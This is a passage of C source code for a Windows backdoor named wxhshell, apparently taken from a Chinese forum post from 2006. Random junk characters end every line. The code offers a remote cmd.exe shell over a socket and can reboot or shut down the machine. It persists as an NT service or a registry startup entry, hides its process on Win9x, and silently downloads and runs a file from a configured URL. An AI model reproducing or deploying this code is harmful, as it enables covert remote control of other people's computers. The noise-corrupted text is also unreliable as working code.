    break; "{&!fD~w  
  } ~+1t 17  
  // 安装 J4JKAv~3  
  case 'i': { Y`_6Ny="  
    if(Install()) p3-sEIw}Ru  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :JOF!Q  
    else -yC},tK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _qGkTiP  
    break; 6g!t1%Kb  
    } #]Cr zLe  
  // 卸载 ^v`|0z\  
  case 'r': { +`9T?:fu  
    if(Uninstall()) p_}OtS;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U>{z*D  
    else 3cs'Oz<w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *l5/q\D  
    break; rSa 3u*xB  
    } \ET7  
  // 显示 wxhshell 所在路径 _|#)tWy}  
  case 'p': { Bt.WRRpAB  
    char svExeFile[MAX_PATH]; $V@IRBm  
    strcpy(svExeFile,"\n\r"); tewC *%3V  
      strcat(svExeFile,ExeFile); e}Db-7B_~  
        send(wsh,svExeFile,strlen(svExeFile),0); +4@EJRC  
    break; a|OX4  
    } 1|Fukx<@J<  
  // 重启 (llg!1  
  case 'b': { H*!E*_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^c/.D*J[I  
    if(Boot(REBOOT)) -ERDWY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JWEqy+,Fjw  
    else { 9_&.G4%V  
    closesocket(wsh); QYg2'`(  
    ExitThread(0); ;ASlsUE\)  
    } uRp-yu[nt%  
    break; **oN/5  
    } "EA%!P:d,  
  // 关机 uv Z!3UH.  
  case 'd': { T[c ;},  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eO*FoN  
    if(Boot(SHUTDOWN)) cm-! 6'`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9V\5`QXu  
    else { %SIbpk%  
    closesocket(wsh); _TkiI.'  
    ExitThread(0); 8?ZK^+]y  
    } xC{W_a(  
    break; rFGbp8(2  
    } Qxt ,@<IK  
  // 获取shell `Up3p24  
  case 's': { MvQ0"-ZQ  
    CmdShell(wsh); tLLP2^_&  
    closesocket(wsh); pWeKN`  
    ExitThread(0); l].dOso$`  
    break; O,hT< s "  
  } HD$W\P  
  // 退出 {wK98>$a  
  case 'x': { rry 33  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `2}Mz9mk  
    CloseIt(wsh); C?X^h{T p  
    break; lNqYpyvy*  
    } Kc0KCBd8];  
  // 离开 *Z<`TB)<X  
  case 'q': { pYH#Vh  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); s_u@8e 6_  
    closesocket(wsh); va| 1N/&  
    WSACleanup(); LG@5Z-  
    exit(1); r 5:DIA!  
    break; /wKL"M-%  
        } lor jMS  
  } U+URj <)  
  } fgq#Oi}  
L`tr7EEr  
  // 提示信息 e![n$/E3R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +H8]5~',L%  
} 8L^5bJ  
  } (xy/:i".V  
&KT*rL  
  return; ,d$V-~2,  
} F0qGkMs|f  
r 1nl!  
// shell模块句柄 ;3 O0O  
int CmdShell(SOCKET sock) 1o V\QK&  
{ &KmV tj  
STARTUPINFO si; }[\l$sS  
ZeroMemory(&si,sizeof(si)); }e  s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UXvUU^k"v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t*iKkV^aE  
PROCESS_INFORMATION ProcessInfo; B!4chxzUZ  
char cmdline[]="cmd"; 9aHV~5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g Q6_]~4  
  return 0; ]oUvC  
} r ".*l?=  
 $TGE  
// 自身启动模式 <Y9%oJn%  
int StartFromService(void) A_i=hj 2f  
{ 9rf6,hF  
typedef struct iP)`yB5`  
{ il|e5TD^  
  DWORD ExitStatus; )w4i0Xw^C:  
  DWORD PebBaseAddress; ~+ Mp+gE  
  DWORD AffinityMask; \C#X Kk$OE  
  DWORD BasePriority; \QGh@AQp"  
  ULONG UniqueProcessId; Y{ijSOl3  
  ULONG InheritedFromUniqueProcessId; 49W@?: b  
}   PROCESS_BASIC_INFORMATION; yb\T< *  
sIJl9  
PROCNTQSIP NtQueryInformationProcess; C8W#$a  
2<q>]G-nN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =^\yE"a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3"FvYv{  
}>]V_}h  
  HANDLE             hProcess; &{-r 5d23  
  PROCESS_BASIC_INFORMATION pbi; m<}>'D T  
6#hDj_(,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IOhJL'r  
  if(NULL == hInst ) return 0; UuPXo66F ]  
V"K-aO&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XYj!nx{k,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ])`w_y(>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); % Ya%R@b}  
W8,4LxH  
  if (!NtQueryInformationProcess) return 0; +N n $  
lJb1{\|.,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;UUpkOQO(  
  if(!hProcess) return 0; 3Xcjr2]~  
1cq"H/N  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `1 A,sXfa  
!?)ky `S3  
  CloseHandle(hProcess); VokIc&!Uz  
>>bsr#aJ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ![1+=F !  
if(hProcess==NULL) return 0; : 8h\x  
-Y>,\VEK  
HMODULE hMod; v]{F.N  
char procName[255]; vxE#6  
unsigned long cbNeeded; `xv2,Z9<  
*@)0TL( 03  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 08czP-)OZ  
MD|T4PPz,}  
  CloseHandle(hProcess); Z uFk}R"x  
*uW l 804  
if(strstr(procName,"services")) return 1; // 以服务启动 7qsu0 .[d  
e%[0 NVo  
  return 0; // 注册表启动 !$n@-  
} (w[#h9j  
Aqy y\G;  
// 主模块 3V uoDmG  
int StartWxhshell(LPSTR lpCmdLine) O"^3,-  
{  R.x^  
  SOCKET wsl; )+7|_7 !x  
BOOL val=TRUE; ahICx{hK  
  int port=0; ^#( B4l!  
  struct sockaddr_in door; L!;"73,&(8  
r+:]lO  
  if(wscfg.ws_autoins) Install(); 05>mRqVL  
YN]xI  
port=atoi(lpCmdLine); f4 k  
e'I/}J  
if(port<=0) port=wscfg.ws_port; [J!jp& o  
~F"<Nq  
  WSADATA data; j)nL!":O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6C'W  
*qa.hqas  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r{cmw`WA/P  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DplS\}='s  
  door.sin_family = AF_INET; [x%[N)U3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r{>`"  
  door.sin_port = htons(port); baQORU=X  
t| PQ4g<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~7=eHU.@  
closesocket(wsl); M}fk[Yr>  
return 1; $-=xG&fSz  
} YY zUg  
b1TIVK3m  
  if(listen(wsl,2) == INVALID_SOCKET) { t]IHQ8  
closesocket(wsl); y`,;m#frT  
return 1; Y5{KtW  
} &x9>8~   
  Wxhshell(wsl); fV#,<JG  
  WSACleanup(); DHq#beN  
^r=Wj@`  
return 0; @>fsg-|  
%1oB!+tv  
} u4#YZOiY)A  
y'5`Uo?\",  
// 以NT服务方式启动 ]z#+3DaH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6o0}7T%6  
{ oBO4a^D  
DWORD   status = 0; 9r. h^  
  DWORD   specificError = 0xfffffff; 'aWqj+Wbh  
$fCKK&Wy  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LD*XNcE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WKAG)4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T>hrKn.!D:  
  serviceStatus.dwWin32ExitCode     = 0; ?:tk8Kgf  
  serviceStatus.dwServiceSpecificExitCode = 0; gc\/A\F<  
  serviceStatus.dwCheckPoint       = 0; DFkDlx  
  serviceStatus.dwWaitHint       = 0; bN\;m^xfu  
hpc&s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {^D; ($lm  
  if (hServiceStatusHandle==0) return; z+Guu8  
38 ] }+Bb  
status = GetLastError(); ;Rlf[](iL  
  if (status!=NO_ERROR) GaCRo7  
{ $Ge0<6/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o:'@|(&<  
    serviceStatus.dwCheckPoint       = 0; EQWRfx?d  
    serviceStatus.dwWaitHint       = 0; (#?O3z1@"  
    serviceStatus.dwWin32ExitCode     = status; a<0q%A x  
    serviceStatus.dwServiceSpecificExitCode = specificError; a&Qr7tT Y"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); " Tk,  
    return; K0WX($z~;  
  }  J8-K  
7W'&v+\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `?{6L#  
  serviceStatus.dwCheckPoint       = 0; O _ C<h  
  serviceStatus.dwWaitHint       = 0; ,\?s=D{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AGl#f\_^  
} +Wl]1 c/  
uO>x"D5tZ:  
// 处理NT服务事件,比如:启动、停止 :7M%/#Fy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0bpGPG's&  
{ #<~oR5ddlb  
switch(fdwControl) * >/w,E]  
{ `Ez8!d{MD8  
case SERVICE_CONTROL_STOP: Hu9nJ  
  serviceStatus.dwWin32ExitCode = 0; <0VC`+p<)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ihJ!]#Fbm  
  serviceStatus.dwCheckPoint   = 0; ch2m Ei(  
  serviceStatus.dwWaitHint     = 0; 2n+ud ?|l  
  { w\mTug  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xM=ydRu  
  } E-%$1=;  
  return; G4U0|^(h  
case SERVICE_CONTROL_PAUSE: 2Wg:eh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #zv&h`gY  
  break; sib/~j  
case SERVICE_CONTROL_CONTINUE: 7H*,HZc@=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q;N)$Xx  
  break; : t9sAD  
case SERVICE_CONTROL_INTERROGATE: h<V,0sZ&:  
  break; o|u4C{j  
}; 'qUM38s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^*YoNd_kpN  
} %K+hG=3O  
CIui9XNU  
// 标准应用程序主函数 u -)ED  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fW Pa1E@  
{ *s#6e}  
mzCd@<T,  
// 获取操作系统版本 );T&pm:C>  
OsIsNt=GetOsVer(); TMD\=8Na  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,RDWx  
9_?<T;]"  
  // 从命令行安装 S|xwYaoy%  
  if(strpbrk(lpCmdLine,"iI")) Install(); M@l|n  
HE{UgU:tY  
  // 下载执行文件 ,na}' A@a`  
if(wscfg.ws_downexe) { *o5[P\'6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QW'*^^  
  WinExec(wscfg.ws_filenam,SW_HIDE); P l!E$   
} ju5o).!bg  
=`*@OJHH  
if(!OsIsNt) { >0[:uu,'>  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yn$: |$  
HideProc(); JB%_&gX)v  
StartWxhshell(lpCmdLine); MLlvsa0  
} V FM!K$_  
else |Eh2#K0x4G  
  if(StartFromService()) ~Ad2L*5S  
  // 以服务方式启动 !4`:(G59  
  StartServiceCtrlDispatcher(DispatchTable); }z#M!~  
else Q>$lf.)  
  // 普通方式启动 q sUBvq  
  StartWxhshell(lpCmdLine); FA>.1EI  
n&o"RE 0~0  
return 0; t*; KxQ+'?  
}
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只看该作者 1 发表于: 2006-10-10
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